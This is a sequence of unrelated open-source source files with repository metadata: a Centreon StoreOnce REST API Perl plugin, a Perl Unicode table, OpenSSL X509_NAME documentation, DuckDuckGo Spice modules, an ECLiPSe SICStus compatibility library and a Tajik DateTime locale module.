$options{output}->option_exit(); } if (!defined($options{noptions})) { $options{options}->add_options(arguments => { "hostname:s@" => { name => 'hostname', }, "username:s@" => { name => 'username', }, "password:s@" => { name => 'password', }, "proxyurl:s@" => { name => 'proxyurl', }, "timeout:s@" => { name => 'timeout', }, }); } $options{options}->add_help(package => __PACKAGE__, sections => 'REST API OPTIONS', once => 1); $self->{output} = $options{output}; $self->{mode} = $options{mode}; $self->{http} = centreon::plugins::http->new(output => $self->{output}); return $self; } # Method to manage multiples sub set_options { my ($self, %options) = @_; # options{options_result} $self->{option_results} = $options{option_results}; } # Method to manage multiples sub set_defaults { my ($self, %options) = @_; # options{default} # Manage default value foreach (keys %{$options{default}}) { if ($_ eq $self->{mode}) { for (my $i = 0; $i < scalar(@{$options{default}->{$_}}); $i++) { foreach my $opt (keys %{$options{default}->{$_}[$i]}) { if (!defined($self->{option_results}->{$opt}[$i])) { $self->{option_results}->{$opt}[$i] = $options{default}->{$_}[$i]->{$opt}; } } } } } } sub check_options { my ($self, %options) = @_; # return 1 = ok still hostname # return 0 = no hostname left $self->{hostname} = (defined($self->{option_results}->{hostname})) ? shift(@{$self->{option_results}->{hostname}}) : undef; $self->{username} = (defined($self->{option_results}->{username})) ? shift(@{$self->{option_results}->{username}}) : ''; $self->{password} = (defined($self->{option_results}->{password})) ? shift(@{$self->{option_results}->{password}}) : ''; $self->{timeout} = (defined($self->{option_results}->{timeout})) ? shift(@{$self->{option_results}->{timeout}}) : 10; $self->{proxyurl} = (defined($self->{option_results}->{proxyurl})) ? shift(@{$self->{option_results}->{proxyurl}}) : undef; if (!defined($self->{hostname})) { $self->{output}->add_option_msg(short_msg => "Need to specify hostname option."); $self->{output}->option_exit(); } if (!defined($self->{hostname}) || scalar(@{$self->{option_results}->{hostname}}) == 0) { return 0; } return 1; } sub build_options_for_httplib { my ($self, %options) = @_; $self->{option_results}->{hostname} = $self->{hostname}; $self->{option_results}->{timeout} = $self->{timeout}; $self->{option_results}->{port} = 443; $self->{option_results}->{proto} = 'https'; $self->{option_results}->{proxyurl} = $self->{proxyurl}; $self->{option_results}->{credentials} = 1; $self->{option_results}->{username} = $self->{username}; $self->{option_results}->{password} = $self->{password}; } sub settings { my ($self, %options) = @_; $self->build_options_for_httplib(); $self->{http}->add_header(key => 'Accept', value => 'text/xml'); $self->{http}->set_options(%{$self->{option_results}}); } #my $xml = XMLin($biggest_reponse, ForceArray => 1); sub get { my ($self, %options) = @_; $self->settings(); my $response = $self->{http}->request(url_path => '/storeonceservices' . $options{path}, critical_status => '', warning_status => ''); my $content; eval { $content = XMLin($response, ForceArray => $options{ForceArray}); }; if ($@) { $self->{output}->add_option_msg(short_msg => "Cannot decode xml response: $@"); $self->{output}->option_exit(); } return $content; } 1; __END__ =head1 NAME STOREONCE REST API =head1 SYNOPSIS Storeonce Rest API custom mode =head1 REST API OPTIONS =over 8 =item B<--hostname> Storeonce hostname. =item B<--username> Storeonce username. =item B<--password> Storeonce password. =item B<--proxyurl> Proxy URL if any =item B<--timeout> Set HTTP timeout =back =head1 DESCRIPTION B<custom>. =cut
nichols-356/centreon-plugins
storage/hp/storeonce/restapi/custom/api.pm
Perl
apache-2.0
5,581
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is machine-generated by lib/unicore/mktables from the Unicode # database, Version 6.1.0. Any changes made here will be lost! # !!!!!!! INTERNAL PERL USE ONLY !!!!!!! # This file is for internal use by core Perl only. The format and even the # name or existence of this file are subject to change without notice. Don't # use it directly. return <<'END'; 32BC END
efortuna/AndroidSDKClone
ndk_experimental/prebuilt/linux-x86_64/lib/perl5/5.16.2/unicore/lib/Nv/47.pl
Perl
apache-2.0
430
=pod =head1 NAME X509_NAME_add_entry_by_txt, X509_NAME_add_entry_by_OBJ, X509_NAME_add_entry_by_NID, X509_NAME_add_entry, X509_NAME_delete_entry - X509_NAME modification functions =head1 SYNOPSIS #include <openssl/x509.h> int X509_NAME_add_entry_by_txt(X509_NAME *name, const char *field, int type, const unsigned char *bytes, int len, int loc, int set); int X509_NAME_add_entry_by_OBJ(X509_NAME *name, const ASN1_OBJECT *obj, int type, const unsigned char *bytes, int len, int loc, int set); int X509_NAME_add_entry_by_NID(X509_NAME *name, int nid, int type, const unsigned char *bytes, int len, int loc, int set); int X509_NAME_add_entry(X509_NAME *name, const X509_NAME_ENTRY *ne, int loc, int set); X509_NAME_ENTRY *X509_NAME_delete_entry(X509_NAME *name, int loc); =head1 DESCRIPTION X509_NAME_add_entry_by_txt(), X509_NAME_add_entry_by_OBJ() and X509_NAME_add_entry_by_NID() add a field whose name is defined by a string B<field>, an object B<obj> or a NID B<nid> respectively. The field value to be added is in B<bytes> of length B<len>. If B<len> is -1 then the field length is calculated internally using strlen(bytes). The type of field is determined by B<type> which can either be a definition of the type of B<bytes> (such as B<MBSTRING_ASC>) or a standard ASN1 type (such as B<V_ASN1_IA5STRING>). The new entry is added to a position determined by B<loc> and B<set>. X509_NAME_add_entry() adds a copy of B<X509_NAME_ENTRY> structure B<ne> to B<name>. The new entry is added to a position determined by B<loc> and B<set>. Since a copy of B<ne> is added B<ne> must be freed up after the call. X509_NAME_delete_entry() deletes an entry from B<name> at position B<loc>. The deleted entry is returned and must be freed up. =head1 NOTES The use of string types such as B<MBSTRING_ASC> or B<MBSTRING_UTF8> is strongly recommended for the B<type> parameter. This allows the internal code to correctly determine the type of the field and to apply length checks according to the relevant standards. This is done using ASN1_STRING_set_by_NID(). If instead an ASN1 type is used no checks are performed and the supplied data in B<bytes> is used directly. In X509_NAME_add_entry_by_txt() the B<field> string represents the field name using OBJ_txt2obj(field, 0). The B<loc> and B<set> parameters determine where a new entry should be added. For almost all applications B<loc> can be set to -1 and B<set> to 0. This adds a new entry to the end of B<name> as a single valued RelativeDistinguishedName (RDN). B<loc> actually determines the index where the new entry is inserted: if it is -1 it is appended. B<set> determines how the new type is added. If it is zero a new RDN is created. If B<set> is -1 or 1 it is added as a new set member to the previous or next RDN structure, respectively. This will then become part of a multi-valued RDN (containing a set of AVAs). Since multi-valued RDNs are very rarely used B<set> typically will be zero. =head1 RETURN VALUES X509_NAME_add_entry_by_txt(), X509_NAME_add_entry_by_OBJ(), X509_NAME_add_entry_by_NID() and X509_NAME_add_entry() return 1 for success of 0 if an error occurred. X509_NAME_delete_entry() returns either the deleted B<X509_NAME_ENTRY> structure or B<NULL> if an error occurred. =head1 EXAMPLES Create an B<X509_NAME> structure: "C=UK, O=Disorganized Organization, CN=Joe Bloggs" X509_NAME *nm; nm = X509_NAME_new(); if (nm == NULL) /* Some error */ if (!X509_NAME_add_entry_by_txt(nm, "C", MBSTRING_ASC, "UK", -1, -1, 0)) /* Error */ if (!X509_NAME_add_entry_by_txt(nm, "O", MBSTRING_ASC, "Disorganized Organization", -1, -1, 0)) /* Error */ if (!X509_NAME_add_entry_by_txt(nm, "CN", MBSTRING_ASC, "Joe Bloggs", -1, -1, 0)) /* Error */ =head1 BUGS B<type> can still be set to B<V_ASN1_APP_CHOOSE> to use a different algorithm to determine field types. Since this form does not understand multicharacter types, performs no length checks and can result in invalid field types its use is strongly discouraged. =head1 SEE ALSO L<ERR_get_error(3)>, L<d2i_X509_NAME(3)> =head1 COPYRIGHT Copyright 2002-2020 The OpenSSL Project Authors. All Rights Reserved. Licensed under the Apache License 2.0 (the "License"). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at L<https://www.openssl.org/source/license.html>. =cut
jens-maus/amissl
openssl/doc/man3/X509_NAME_add_entry_by_txt.pod
Perl
bsd-3-clause
4,629
package DDG::Spice::Guidebox::Lastshows; # ABSTRACT: Search for full free episodes for guidebox id of a TV show use strict; use DDG::Spice; triggers any => "///***never_trigger***///"; spice to => 'http://api-public.guidebox.com/v1.3/json/{{ENV{DDG_SPICE_GUIDEBOX_APIKEY}}}/$1/watch/all/20'; handle remainder => sub { # TODO # Detect if iOS/Android and change api call # ie. /best_available/ios/ or /best_available/android/ return $_ if $_; return; }; 1;
rubinovitz/zeroclickinfo-spice
lib/DDG/Spice/Guidebox/Lastshows.pm
Perl
apache-2.0
482
package DDG::Spice::Stopwatch; # ABSTRACT: Shows a stopwatch use strict; use DDG::Spice; triggers startend => ['stopwatch', 'stop watch']; #in real code this should just be spice call_type => 'self' #for now, it lets me test on DuckPAN spice call_type => 'self'; handle remainder => sub { return '' if ($_ eq '' || $_ eq 'online'); return; }; 1;
mr-karan/zeroclickinfo-spice
lib/DDG/Spice/Stopwatch.pm
Perl
apache-2.0
359
% ---------------------------------------------------------------------- % BEGIN LICENSE BLOCK % Version: CMPL 1.1 % % The contents of this file are subject to the Cisco-style Mozilla Public % License Version 1.1 (the "License"); you may not use this file except % in compliance with the License. You may obtain a copy of the License % at www.eclipse-clp.org/license. % % Software distributed under the License is distributed on an "AS IS" % basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See % the License for the specific language governing rights and limitations % under the License. % % The Original Code is The ECLiPSe Constraint Logic Programming System. % The Initial Developer of the Original Code is Cisco Systems, Inc. % Portions created by the Initial Developer are % Copyright (C) 1989-2006 Cisco Systems, Inc. All Rights Reserved. % % Contributor(s): ECRC GmbH % Contributor(s): IC-Parc, Imperal College London % % END LICENSE BLOCK % % System: ECLiPSe Constraint Logic Programming System % Version: $Id: sicstus.pl,v 1.1.2.1 2008/12/19 05:41:11 jschimpf Exp $ % ---------------------------------------------------------------------- /* * SEPIA PROLOG SOURCE MODULE */ /* * IDENTIFICATION: sicstus.pl * * DESCRIPTION: SICStus Prolog compatibility package * * * CONTENTS: * */ :- module(sicstus). :- comment(summary, 'SICStus Prolog Compatibility Package'). :- comment(author, 'Micha Meier, ECRC Munich'). :- comment(copyright, 'Cisco Systems, Inc'). :- comment(date, '$Date: 2008/12/19 05:41:11 $'). :- comment(desc, html(' ECLiPSe includes a SICStus Prolog compatibility package to ease the task of porting SICStus Prolog applications to ECLiPSe Prolog. This package includes the C-Prolog compatibility package (lib(cprolog)) and the Quintus-Prolog compatibility package (lib(quintus)). <P> Please note that this appendix does not detail the functionality of SICStus Prolog, refer to the SICStus Prolog documentation for this information. <P> The effect of the compatibility library is local to the module where it is loaded. For maximum compatibility, a Sicstus program should be wrapped in a separate module starting with a directive like <PRE> :- module(mymodule, [], sicstus). </PRE> In this case, Eclipse-specific language constructs will not be available. <P> If the compatibility package is loaded into a standard module, e.g. like <PRE> :- module(mymixedmdule). :- use_module(library(sicstus)). </PRE> then Sicstus and Eclipse language features can be used together. However, ambiguities must be resolved explicitly and confusion may arise from the different meaning of quotes in Eclipse vs Sicstus-Prolog. <P> A sockets library is provided for compatibility with the sockets manipulation predicates of SICStus. To use these predicates, the sockets library has to be loaded: <PRE> :- use_module(library(sockets)). </PRE> For SICStus 3.0, the sockets predicates are also in a sockets library, so no changes are needed to load the library. However, for older versions of SICStus, the predicates are available as built-ins, and no library has to be loaded. So if the code is written for older versions of SICStus, then the above line has to be added. <P> The sockets library can be used independently of the sicstus library. Note also that ECLiPSe also provides its own socket manipulation predicates that provides similar functionalities to the sockets library. <P> Since the SICStus package contains the Quintus one, the syntax differences are the same. ')). :- comment(see_also, [library(cio),library(cprolog),library(quintus), library(sockets),library(swi)]). :- comment(call_residue/2, [template:'call_residue(+Goal,-Residue)', summary:'This is only approximate, the variables in the second argument are dummies' ]). % suppress deprecation warnings for reexported builtins :- pragma(deprecated_warnings(not_reexports)). :- reexport quintus except load/1. :- export op(1150, fx, block). :- export (block)/1, call_residue/2, dif/2, freeze/2, frozen/2, (if)/3, load/1, on_exception/3, raise_exception/1, when/2. :- export chtab(0'\,escape). % character escapes are on by default in SICStus :- local op(1100, xfy, (do)), op(650, xfx, (@)). :- system. % compiler directive to add the SYSTEM flag %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- import (*->)/2, (block)/4, compiled_stream/1, suspend_body/4, erase_macro_/2, import_body/2, read_/3, subcall/3, untraced_call/2 from sepia_kernel. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- tool(freeze/2, freeze_body/3). :- inline(freeze/2, tr_freeze/2). tr_freeze(freeze(Var, Goal), ( var(Var) -> suspend(Goal, 2, (Var->suspend:1)) ; Goal )). :- system_debug. freeze_body(X, Goal, Module) :- var(X), !, suspend_body(Goal, 2, (X->suspend:1), Module). freeze_body(_, Goal, Module) :- untraced_call(Goal, Module). :- system. frozen(Var, Goals) :- var(Var), delayed_goals(Var, List), list_to_comma(List, Goals). list_to_comma([], true) :- !. list_to_comma([G], G) :- !. list_to_comma([H|T], (H,Rest)) :- list_to_comma(T, Rest). dif(A, B) :- A ~= B. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % Sicstus's block-directives are translated as follows: % :- block p(-,?). % p(a,b). % into % p(A,B) :- var(A), !, make_suspension(p(A,B),0,S), insert_suspension([A],S,1,suspend). % p(A,B) :- 'p unblocked'(A,B). % 'p unblocked'(a,b). % i.e. new clauses are generated to implement the delay conditions, and % the original predicate is renamed with the help of a clause macro. :- tool((block)/1, block_body/2). block_body(List, M) :- block_to_clauses(List, Clauses, [(Head:-Call)], Name/Arity), !, functor(Head, Name, Arity), rename_functor(Head, Call), compile_term(Clauses)@M, local(macro(Name/Arity,sicstus:rename_head/2,[clause]))@M. block_body(List, M) :- printf(error, '*** Error in block-declaration %w%n', [block(List)])@M, fail. :- export rename_head/2. rename_head((OldHead:-Body), Renamed) ?- !, Renamed = (NewHead:-Body), rename_functor(OldHead, NewHead). rename_head(OldHead, NewHead) :- rename_functor(OldHead, NewHead). rename_functor(Term, NewTerm) :- functor(Term, OldName, Arity), concat_atoms(OldName, ' unblocked', NewName), functor(NewTerm, NewName, Arity), ( for(I,1,Arity), param(Term,NewTerm) do arg(I,Term,Arg), arg(I,NewTerm,Arg) ). block_to_clauses((B1,B2), D1, C, Pred) :- !, block_to_clauses(B1, D1, C0, Pred), block_to_clauses(B2, C0, C, Pred). block_to_clauses(B, [(Head:-Body)|C], C, Name/Arity) :- functor(B, Name, Arity), B =.. [Name|Args], arg_and_body(Args, H, Body, BC, Vars, []), Head =.. [Name|H], BC = (!, make_suspension(Head,0,S), insert_suspension(Vars, S, 1, suspend)). :- mode arg_and_body(+, -, -, ?, -, ?). arg_and_body([], [], BC, BC, V, V). arg_and_body([?|A], [_|H], B, BC, V, VC) :- !, arg_and_body(A, H, B, BC, V, VC). arg_and_body([-|A], [X|H], (var(X),B), BC, [X|V], VC) :- arg_and_body(A, H, B, BC, V, VC). %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- tool(when/2, when_body/3). :- system_debug. when_body(Condition, Goal, Module) :- condition_fails(Condition, Vars), !, suspend(when_body(Condition, Goal, Module), 2, (Vars->inst)). when_body(_Condition, Goal, Module) :- untraced_call(Goal, Module). :- system. :- mode condition_fails(?,-). condition_fails(Condition, _) :- var(Condition), !, fail. condition_fails(nonvar(X), X) :- var(X), !. condition_fails(ground(X), V) :- nonground(X, V), !. condition_fails(X == Y, [X|Y]) :- X \== Y, !. condition_fails((C1;C2), [V1|V2]) :- condition_fails(C1, V1), condition_fails(C2, V2). condition_fails((C1,_C2), V) :- condition_fails(C1, V), !. condition_fails((_C1,C2), V) :- condition_fails(C2, V). % call_residue/2 is not quite ok - the variables in the % residue list are only dummies, unrelated to the goals :- system_debug. :- tool(call_residue/2, call_residue_body/3). call_residue_body(Goal, Residue, Module) :- subcall(Goal, Delayed, Module), add_dummy_variables(Delayed, Residue). :- tool((if)/3, if_body/4). if_body(A, B, C, M) :- *->(untraced_call(A, M), untraced_call(B, M)) ; untraced_call(C, M). :- system. add_dummy_variables([], []). add_dummy_variables([G|Gs], [_-G|Rs]) :- add_dummy_variables(Gs, Rs). %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- tool(load/1, load_body/2). load_body([File|Files], M) :- !, load_body(File, M), load_body(Files, M). load_body(Module:File, _) :- !, compile(File, Module). load_body(File, M) :- compile(File, M). :- export fcompile/1. :- tool(fcompile/1, fcompile/2). fcompile(File, Module) :- fcompile:fcompile(File)@Module. :- tool(on_exception/3, on_exception_body/4). :- system_debug. on_exception_body(Tag, Goal, Recovery, M) :- block(Goal, Tag, Recovery, M). :- system. raise_exception(Tag) :- exit_block(Tag). %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- skipped dif/2, frozen/2. :- unskipped freeze_body/3, call_residue_body/3, on_exception_body/4. :- untraceable freeze_body/3, call_residue_body/3, add_dummy_variables/2. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % MODULE INITIALIZATION % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
daleooo/barrelfish
usr/skb/eclipse_kernel/lib/sicstus.pl
Perl
mit
9,416
########################################################################### # # This file is auto-generated by the Perl DateTime Suite locale # generator (0.05). This code generator comes with the # DateTime::Locale distribution in the tools/ directory, and is called # generate-from-cldr. # # This file as generated from the CLDR XML locale data. See the # LICENSE.cldr file included in this distribution for license details. # # This file was generated from the source file tg.xml # The source file version number was 1.30, generated on # 2009/05/05 23:06:40. # # Do not edit this file directly. # ########################################################################### package DateTime::Locale::tg; use strict; use warnings; use utf8; use base 'DateTime::Locale::root'; sub cldr_version { return "1\.7\.1" } { my $am_pm_abbreviated = [ "пе\.\ чо\.", "па\.\ чо\." ]; sub am_pm_abbreviated { return $am_pm_abbreviated } } { my $date_format_full = "EEEE\,\ y\ MMMM\ dd"; sub date_format_full { return $date_format_full } } { my $date_format_long = "y\ MMMM\ d"; sub date_format_long { return $date_format_long } } { my $date_format_medium = "y\ MMM\ d"; sub date_format_medium { return $date_format_medium } } { my $date_format_short = "yy\/MM\/dd"; sub date_format_short { return $date_format_short } } { my $day_format_abbreviated = [ "Дшб", "Сшб", "Чшб", "Пшб", "Ҷмъ", "Шнб", "Яшб" ]; sub day_format_abbreviated { return $day_format_abbreviated } } sub day_format_narrow { $_[0]->day_format_abbreviated() } { my $day_format_wide = [ "Душанбе", "Сешанбе", "Чоршанбе", "Панҷшанбе", "Ҷумъа", "Шанбе", "Якшанбе" ]; sub day_format_wide { return $day_format_wide } } sub day_stand_alone_abbreviated { $_[0]->day_format_abbreviated() } sub day_stand_alone_wide { $_[0]->day_format_wide() } { my $era_abbreviated = [ "ПеМ", "ПаМ" ]; sub era_abbreviated { return $era_abbreviated } } sub era_narrow { $_[0]->era_abbreviated() } { my $era_wide = [ "Пеш\ аз\ милод", "ПаМ" ]; sub era_wide { return $era_wide } } { my $first_day_of_week = "1"; sub first_day_of_week { return $first_day_of_week } } { my $month_format_abbreviated = [ "Янв", "Фев", "Мар", "Апр", "Май", "Июн", "Июл", "Авг", "Сен", "Окт", "Ноя", "Дек" ]; sub month_format_abbreviated { return $month_format_abbreviated } } sub month_format_narrow { $_[0]->month_format_abbreviated() } { my $month_format_wide = [ "Январ", "Феврал", "Март", "Апрел", "Май", "Июн", "Июл", "Август", "Сентябр", "Октябр", "Ноябр", "Декабр" ]; sub month_format_wide { return $month_format_wide } } sub month_stand_alone_abbreviated { $_[0]->month_format_abbreviated() } sub month_stand_alone_wide { $_[0]->month_format_wide() } { my $time_format_full = "HH\:mm\:ss\ zzzz"; sub time_format_full { return $time_format_full } } { my $time_format_long = "HH\:mm\:ss\ z"; sub time_format_long { return $time_format_long } } { my $time_format_medium = "HH\:mm\:ss"; sub time_format_medium { return $time_format_medium } } { my $time_format_short = "HH\:mm"; sub time_format_short { return $time_format_short } } { my $_format_for_yyQ = "Q\ yy"; sub _format_for_yyQ { return $_format_for_yyQ } } { my $_available_formats = { "yyQ" => "Q\ yy" }; sub _available_formats { return $_available_formats } } 1; __END__ =pod =encoding utf8 =head1 NAME DateTime::Locale::tg =head1 SYNOPSIS use DateTime; my $dt = DateTime->now( locale => 'tg' ); print $dt->month_name(); =head1 DESCRIPTION This is the DateTime locale package for Tajik. =head1 DATA This locale inherits from the L<DateTime::Locale::root> locale. It contains the following data. =head2 Days =head3 Wide (format) Душанбе Сешанбе Чоршанбе Панҷшанбе Ҷумъа Шанбе Якшанбе =head3 Abbreviated (format) Дшб Сшб Чшб Пшб Ҷмъ Шнб Яшб =head3 Narrow (format) Дшб Сшб Чшб Пшб Ҷмъ Шнб Яшб =head3 Wide (stand-alone) Душанбе Сешанбе Чоршанбе Панҷшанбе Ҷумъа Шанбе Якшанбе =head3 Abbreviated (stand-alone) Дшб Сшб Чшб Пшб Ҷмъ Шнб Яшб =head3 Narrow (stand-alone) 2 3 4 5 6 7 1 =head2 Months =head3 Wide (format) Январ Феврал Март Апрел Май Июн Июл Август Сентябр Октябр Ноябр Декабр =head3 Abbreviated (format) Янв Фев Мар Апр Май Июн Июл Авг Сен Окт Ноя Дек =head3 Narrow (format) Янв Фев Мар Апр Май Июн Июл Авг Сен Окт Ноя Дек =head3 Wide (stand-alone) Январ Феврал Март Апрел Май Июн Июл Август Сентябр Октябр Ноябр Декабр =head3 Abbreviated (stand-alone) Янв Фев Мар Апр Май Июн Июл Авг Сен Окт Ноя Дек =head3 Narrow (stand-alone) 1 2 3 4 5 6 7 8 9 10 11 12 =head2 Quarters =head3 Wide (format) Q1 Q2 Q3 Q4 =head3 Abbreviated (format) Q1 Q2 Q3 Q4 =head3 Narrow (format) 1 2 3 4 =head3 Wide (stand-alone) Q1 Q2 Q3 Q4 =head3 Abbreviated (stand-alone) Q1 Q2 Q3 Q4 =head3 Narrow (stand-alone) 1 2 3 4 =head2 Eras =head3 Wide Пеш аз милод ПаМ =head3 Abbreviated ПеМ ПаМ =head3 Narrow ПеМ ПаМ =head2 Date Formats =head3 Full 2008-02-05T18:30:30 = Сешанбе, 2008 Феврал 05 1995-12-22T09:05:02 = Ҷумъа, 1995 Декабр 22 -0010-09-15T04:44:23 = Шанбе, -10 Сентябр 15 =head3 Long 2008-02-05T18:30:30 = 2008 Феврал 5 1995-12-22T09:05:02 = 1995 Декабр 22 -0010-09-15T04:44:23 = -10 Сентябр 15 =head3 Medium 2008-02-05T18:30:30 = 2008 Фев 5 1995-12-22T09:05:02 = 1995 Дек 22 -0010-09-15T04:44:23 = -10 Сен 15 =head3 Short 2008-02-05T18:30:30 = 08/02/05 1995-12-22T09:05:02 = 95/12/22 -0010-09-15T04:44:23 = -10/09/15 =head3 Default 2008-02-05T18:30:30 = 2008 Фев 5 1995-12-22T09:05:02 = 1995 Дек 22 -0010-09-15T04:44:23 = -10 Сен 15 =head2 Time Formats =head3 Full 2008-02-05T18:30:30 = 18:30:30 UTC 1995-12-22T09:05:02 = 09:05:02 UTC -0010-09-15T04:44:23 = 04:44:23 UTC =head3 Long 2008-02-05T18:30:30 = 18:30:30 UTC 1995-12-22T09:05:02 = 09:05:02 UTC -0010-09-15T04:44:23 = 04:44:23 UTC =head3 Medium 2008-02-05T18:30:30 = 18:30:30 1995-12-22T09:05:02 = 09:05:02 -0010-09-15T04:44:23 = 04:44:23 =head3 Short 2008-02-05T18:30:30 = 18:30 1995-12-22T09:05:02 = 09:05 -0010-09-15T04:44:23 = 04:44 =head3 Default 2008-02-05T18:30:30 = 18:30:30 1995-12-22T09:05:02 = 09:05:02 -0010-09-15T04:44:23 = 04:44:23 =head2 Datetime Formats =head3 Full 2008-02-05T18:30:30 = Сешанбе, 2008 Феврал 05 18:30:30 UTC 1995-12-22T09:05:02 = Ҷумъа, 1995 Декабр 22 09:05:02 UTC -0010-09-15T04:44:23 = Шанбе, -10 Сентябр 15 04:44:23 UTC =head3 Long 2008-02-05T18:30:30 = 2008 Феврал 5 18:30:30 UTC 1995-12-22T09:05:02 = 1995 Декабр 22 09:05:02 UTC -0010-09-15T04:44:23 = -10 Сентябр 15 04:44:23 UTC =head3 Medium 2008-02-05T18:30:30 = 2008 Фев 5 18:30:30 1995-12-22T09:05:02 = 1995 Дек 22 09:05:02 -0010-09-15T04:44:23 = -10 Сен 15 04:44:23 =head3 Short 2008-02-05T18:30:30 = 08/02/05 18:30 1995-12-22T09:05:02 = 95/12/22 09:05 -0010-09-15T04:44:23 = -10/09/15 04:44 =head3 Default 2008-02-05T18:30:30 = 2008 Фев 5 18:30:30 1995-12-22T09:05:02 = 1995 Дек 22 09:05:02 -0010-09-15T04:44:23 = -10 Сен 15 04:44:23 =head2 Available Formats =head3 d (d) 2008-02-05T18:30:30 = 5 1995-12-22T09:05:02 = 22 -0010-09-15T04:44:23 = 15 =head3 EEEd (d EEE) 2008-02-05T18:30:30 = 5 Сшб 1995-12-22T09:05:02 = 22 Ҷмъ -0010-09-15T04:44:23 = 15 Шнб =head3 Hm (H:mm) 2008-02-05T18:30:30 = 18:30 1995-12-22T09:05:02 = 9:05 -0010-09-15T04:44:23 = 4:44 =head3 hm (h:mm a) 2008-02-05T18:30:30 = 6:30 па. чо. 1995-12-22T09:05:02 = 9:05 пе. чо. -0010-09-15T04:44:23 = 4:44 пе. чо. =head3 Hms (H:mm:ss) 2008-02-05T18:30:30 = 18:30:30 1995-12-22T09:05:02 = 9:05:02 -0010-09-15T04:44:23 = 4:44:23 =head3 hms (h:mm:ss a) 2008-02-05T18:30:30 = 6:30:30 па. чо. 1995-12-22T09:05:02 = 9:05:02 пе. чо. -0010-09-15T04:44:23 = 4:44:23 пе. чо. =head3 M (L) 2008-02-05T18:30:30 = 2 1995-12-22T09:05:02 = 12 -0010-09-15T04:44:23 = 9 =head3 Md (M-d) 2008-02-05T18:30:30 = 2-5 1995-12-22T09:05:02 = 12-22 -0010-09-15T04:44:23 = 9-15 =head3 MEd (E, M-d) 2008-02-05T18:30:30 = Сшб, 2-5 1995-12-22T09:05:02 = Ҷмъ, 12-22 -0010-09-15T04:44:23 = Шнб, 9-15 =head3 MMM (LLL) 2008-02-05T18:30:30 = Фев 1995-12-22T09:05:02 = Дек -0010-09-15T04:44:23 = Сен =head3 MMMd (MMM d) 2008-02-05T18:30:30 = Фев 5 1995-12-22T09:05:02 = Дек 22 -0010-09-15T04:44:23 = Сен 15 =head3 MMMEd (E MMM d) 2008-02-05T18:30:30 = Сшб Фев 5 1995-12-22T09:05:02 = Ҷмъ Дек 22 -0010-09-15T04:44:23 = Шнб Сен 15 =head3 MMMMd (MMMM d) 2008-02-05T18:30:30 = Феврал 5 1995-12-22T09:05:02 = Декабр 22 -0010-09-15T04:44:23 = Сентябр 15 =head3 MMMMEd (E MMMM d) 2008-02-05T18:30:30 = Сшб Феврал 5 1995-12-22T09:05:02 = Ҷмъ Декабр 22 -0010-09-15T04:44:23 = Шнб Сентябр 15 =head3 ms (mm:ss) 2008-02-05T18:30:30 = 30:30 1995-12-22T09:05:02 = 05:02 -0010-09-15T04:44:23 = 44:23 =head3 y (y) 2008-02-05T18:30:30 = 2008 1995-12-22T09:05:02 = 1995 -0010-09-15T04:44:23 = -10 =head3 yM (y-M) 2008-02-05T18:30:30 = 2008-2 1995-12-22T09:05:02 = 1995-12 -0010-09-15T04:44:23 = -10-9 =head3 yMEd (EEE, y-M-d) 2008-02-05T18:30:30 = Сшб, 2008-2-5 1995-12-22T09:05:02 = Ҷмъ, 1995-12-22 -0010-09-15T04:44:23 = Шнб, -10-9-15 =head3 yMMM (y MMM) 2008-02-05T18:30:30 = 2008 Фев 1995-12-22T09:05:02 = 1995 Дек -0010-09-15T04:44:23 = -10 Сен =head3 yMMMEd (EEE, y MMM d) 2008-02-05T18:30:30 = Сшб, 2008 Фев 5 1995-12-22T09:05:02 = Ҷмъ, 1995 Дек 22 -0010-09-15T04:44:23 = Шнб, -10 Сен 15 =head3 yMMMM (y MMMM) 2008-02-05T18:30:30 = 2008 Феврал 1995-12-22T09:05:02 = 1995 Декабр -0010-09-15T04:44:23 = -10 Сентябр =head3 yQ (y Q) 2008-02-05T18:30:30 = 2008 1 1995-12-22T09:05:02 = 1995 4 -0010-09-15T04:44:23 = -10 3 =head3 yQQQ (y QQQ) 2008-02-05T18:30:30 = 2008 Q1 1995-12-22T09:05:02 = 1995 Q4 -0010-09-15T04:44:23 = -10 Q3 =head3 yyQ (Q yy) 2008-02-05T18:30:30 = 1 08 1995-12-22T09:05:02 = 4 95 -0010-09-15T04:44:23 = 3 -10 =head2 Miscellaneous =head3 Prefers 24 hour time? Yes =head3 Local first day of the week Душанбе =head1 SUPPORT See L<DateTime::Locale>. =head1 AUTHOR Dave Rolsky <autarch@urth.org> =head1 COPYRIGHT Copyright (c) 2008 David Rolsky. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. This module was generated from data provided by the CLDR project, see the LICENSE.cldr in this distribution for details on the CLDR data's license. =cut
liuyangning/WX_web
xampp/perl/vendor/lib/DateTime/Locale/tg.pm
Perl
mit
11,866
